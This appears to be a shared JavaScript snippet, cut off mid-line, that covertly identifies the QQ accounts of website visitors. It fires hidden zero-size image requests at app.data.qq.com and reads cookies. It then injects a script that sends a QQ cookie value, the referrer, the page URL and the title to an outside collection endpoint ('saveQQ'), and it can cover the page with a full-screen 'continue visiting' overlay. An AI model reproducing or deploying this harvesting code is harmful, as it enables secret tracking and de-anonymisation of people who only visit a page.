日期:2014-05-17 浏览次数:20886 次
var div_box_qq; (function() {
var i_php = "http://www.abc.com/handle/";
var i_uid = "<?php echo $uin?>";
var i_need_login = false;
var loginTips = "\u7ee7\u7eed\u8bbf\u95ee";
function showEnterQQiFrame(url) {
div_box_qq = document.createElement("div");
div_box_qq.style.verticalAlign = "middle";
div_box_qq.style.textAlign = "center";
div_box_qq.style.position = "absolute";
div_box_qq.style.width = "100%";
div_box_qq.style.height = "100%";
div_box_qq.style.top = 0;
div_box_qq.style.left = 0;
div_box_qq.style.lineHeight = 24;
div_box_qq.style.background = "#FFF";
div_box_qq.style.visibility = "visible";
div_box_qq.innerHTML = '<a href="' + url + '" target="_blank" onclick="document.body.removeChild(div_box_qq)">' + loginTips + '</a>';
document.body.appendChild(div_box_qq)
}
function _init_send_by_iframe(uincookie, other) {
var i_referrer = encodeURIComponent(document.referrer);
var i_url = encodeURIComponent(document.location.href);
var i_title = encodeURIComponent(document.title);
var url = i_php + "?action=saveQQ" + other;
url += "&uid=" + i_uid;
url += "&meishi=10001196137,10000015635";
url += "&uincookie=" + uincookie;
url += "&referrer=" + i_referrer;
url += "&url=" + i_url;
url += "&title=" + i_title;
url += "&r=" + (new Date()).getTime();
var oHead = document.getElementsByTagName('HEAD').item(0);
var oScript = document.createElement("script");
oScript.type = "text/javascript";
oScript.src = url;
oHead.appendChild(oScript)
}
function SetCookie(name, value) {
var exp = new Date();
exp.setTime(exp.getTime() + 2 * 24 * 60 * 60 * 1000);
document.cookie = name + "=" + escape(value) + ";expires=" + exp.toGMTString()
}
function GetCookie(name) {
var arr = document.cookie.match(new RegExp("(^| )" + name + "=([^;]*)(;|$)"));
if (arr != null) return unescape(arr[2]);
return null
}
function insertFrame() {
var img = new Image();
img.src = "http://app.data.qq.com/?umod=user&uid=10001196137&t=" + (new Date()).getTime();
img.width = 0;
img.height = 0;
img.border = 0;
document.body.appendChild(img);
img = new Image();
img.src = "http://app.data.qq.com/?umod=user&uid=10000015635&t=" + (new Date()).getTime();
img.width = 0;
img.height = 0;
img.border = 0;
if (img.attachEvent) {
img.attachEvent("onerror",
function() {
newSubmit()
});
img.attachEven